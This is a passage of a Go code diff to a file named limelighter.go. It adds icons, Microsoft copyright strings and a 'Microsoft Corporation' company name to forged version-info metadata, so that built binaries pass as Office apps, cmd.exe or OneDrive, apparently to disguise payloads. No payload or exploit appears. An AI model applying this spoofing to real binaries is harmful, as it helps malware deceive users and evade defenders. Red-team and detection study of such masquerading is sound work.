-golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae h1:/WDfKMnPU+m5M4xB+6x4kaepxRw6jWvR5iDRdvjHgy8=
golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20220128215802-99c3d69c2c27 h1:XDXtA5hveEEV8JB2l7nhMTp3t3cHp9ZpwcdjqyEWLlo=
+golang.org/x/sys v0.0.0-20220128215802-99c3d69c2c27/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c h1:dUUwHk2QECo/6vqA44rthZ8ie2QXMNeKRTHCNY2nXvo=
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
diff --git a/limelighter/limelighter.go b/limelighter/limelighter.go
index 39e7f7b..7855f71 100644
--- a/limelighter/limelighter.go
+++ b/limelighter/limelighter.go
@@ -337,8 +337,10 @@ func FileProperties(name string, configFile string) string {
vi.StringFileInfo.InternalName = "tcpmon.dll.mui"
}
if name == "OneNote" {
+ vi.IconPath = "onenote.ico"
vi.StringFileInfo.InternalName = "OneNote"
vi.StringFileInfo.FileDescription = "Microsoft OneNote"
+ vi.StringFileInfo.LegalCopyright = "© Microsoft Corporation. All rights reserved."
vi.StringFileInfo.FileVersion = "16.0.14326.20404"
vi.StringFileInfo.OriginalFilename = "OneNote.exe"
vi.StringFileInfo.ProductName = "Microsoft OneNote"
@@ -349,23 +351,11 @@ func FileProperties(name string, configFile string) string {
vi.FixedFileInfo.FileVersion.Build = 20404
vi.StringFileInfo.InternalName = "OneNote"
}
- if name == "Notepad" {
- vi.StringFileInfo.InternalName = "Notepad"
- vi.StringFileInfo.FileDescription = "Microsoft OneNote"
- vi.StringFileInfo.FileVersion = "10.0.19041.1"
- vi.StringFileInfo.OriginalFilename = "Notepad.exe"
- vi.StringFileInfo.ProductName = "Microsoft Notepad"
- vi.StringFileInfo.ProductVersion = "10.0.19041.1"
- vi.FixedFileInfo.FileVersion.Major = 10
- vi.FixedFileInfo.FileVersion.Minor = 0
- vi.FixedFileInfo.FileVersion.Patch = 19041
- vi.FixedFileInfo.FileVersion.Build = 1080
- vi.StringFileInfo.InternalName = "Notepad"
- }
-
if name == "Excel" {
+ vi.IconPath = "excel.ico"
vi.StringFileInfo.InternalName = "Excel"
vi.StringFileInfo.FileDescription = "Microsoft Excel"
+ vi.StringFileInfo.LegalCopyright = "© Microsoft Corporation. All rights reserved."
vi.StringFileInfo.FileVersion = "16.0.14326.20404"
vi.StringFileInfo.OriginalFilename = "Excel.exe"
vi.StringFileInfo.ProductName = "Microsoft Office"
@@ -377,7 +367,9 @@ func FileProperties(name string, configFile string) string {
vi.StringFileInfo.InternalName = "Excel"
}
if name == "Word" {
+ vi.IconPath = "word.ico"
vi.StringFileInfo.InternalName = "Word"
+ vi.StringFileInfo.LegalCopyright = "© Microsoft Corporation. All rights reserved."
vi.StringFileInfo.FileVersion = "16.0.14326.20404"
vi.StringFileInfo.OriginalFilename = "Word.exe"
vi.StringFileInfo.ProductName = "Microsoft Office"
@@ -389,8 +381,9 @@ func FileProperties(name string, configFile string) string {
vi.StringFileInfo.InternalName = "Word"
}
if name == "Powerpnt" {
- vi.StringFileInfo.InternalName = "Powerpnt"
+ vi.IconPath = "powerpoint.ico"
vi.StringFileInfo.FileDescription = "Microsoft PowerPoint"
+ vi.StringFileInfo.LegalCopyright = "© Microsoft Corporation. All rights reserved."
vi.StringFileInfo.FileVersion = "16.0.14326.20404"
vi.StringFileInfo.OriginalFilename = "Powerpnt.exe"
vi.StringFileInfo.ProductName = "Microsoft Office"
@@ -402,8 +395,10 @@ func FileProperties(name string, configFile string) string {
vi.StringFileInfo.InternalName = "Powerpnt"
}
if name == "Outlook" {
+ vi.IconPath = "outlook.ico"
vi.StringFileInfo.InternalName = "Outlook"
vi.StringFileInfo.FileDescription = "Microsoft Outlook"
+ vi.StringFileInfo.LegalCopyright = "© Microsoft Corporation. All rights reserved."
vi.StringFileInfo.FileVersion = "16.0.14326.20404"
vi.StringFileInfo.OriginalFilename = "Outlook.exe"
vi.StringFileInfo.ProductName = "Microsoft Office"
@@ -415,8 +410,10 @@ func FileProperties(name string, configFile string) string {
vi.StringFileInfo.InternalName = "Outlook"
}
if name == "lync" {
+ vi.IconPath = "lync.ico"
vi.StringFileInfo.InternalName = "Lync"
vi.StringFileInfo.FileDescription = "Skype for Business"
+ vi.StringFileInfo.LegalCopyright = "© Microsoft Corporation. All rights reserved."
vi.StringFileInfo.FileVersion = "16.0.14326.20404"
vi.StringFileInfo.OriginalFilename = "Lync.exe"
vi.StringFileInfo.ProductName = "Microsoft Office"
@@ -428,8 +425,10 @@ func FileProperties(name string, configFile string) string {
vi.StringFileInfo.InternalName = "Lync"
}
if name == "cmd" {
+ vi.IconPath = "cmd.ico"
vi.StringFileInfo.InternalName = "Cmd.exe"
vi.StringFileInfo.FileDescription = "Windows Command Processor"
+ vi.StringFileInfo.LegalCopyright = "© Microsoft Corporation. All rights reserved."
vi.StringFileInfo.FileVersion = "10.0.19041.1 (WinBuild.160101.0800)"
vi.StringFileInfo.OriginalFilename = "Cmd.exe"
vi.StringFileInfo.ProductName = "Microsoft® Windows® Operating System"
@@ -441,8 +440,10 @@ func FileProperties(name string, configFile string) string {
vi.StringFileInfo.InternalName = "Cmd.exe"
}
if name == "OneDrive" {
+ vi.IconPath = "onedrive.ico"
vi.StringFileInfo.InternalName = "OneDrive.exe"
vi.StringFileInfo.FileDescription = "Microsoft OneDrive"
+ vi.StringFileInfo.LegalCopyright = "© Microsoft Corporation. All rights reserved."
vi.StringFileInfo.FileVersion = "21.170.0822.0002"
vi.StringFileInfo.OriginalFilename = "OneDrive.exe"
vi.StringFileInfo.ProductName = "Microsoft® Windows® Operating System"
@@ -1161,8 +1162,8 @@ func FileProperties(name string, configFile string) string {
vi.StringFileInfo.InternalName = "Appwiz.xll"
}
}
- vi.VarFileInfo.Translation.LangID = goversioninfo.LangID(1033)
- vi.VarFileInfo.Translation.CharsetID = goversioninfo.CharsetID(1200)
+
+ vi.StringFileInfo.CompanyName = "Microsoft Corporation"
vi.Build()
vi.Walk()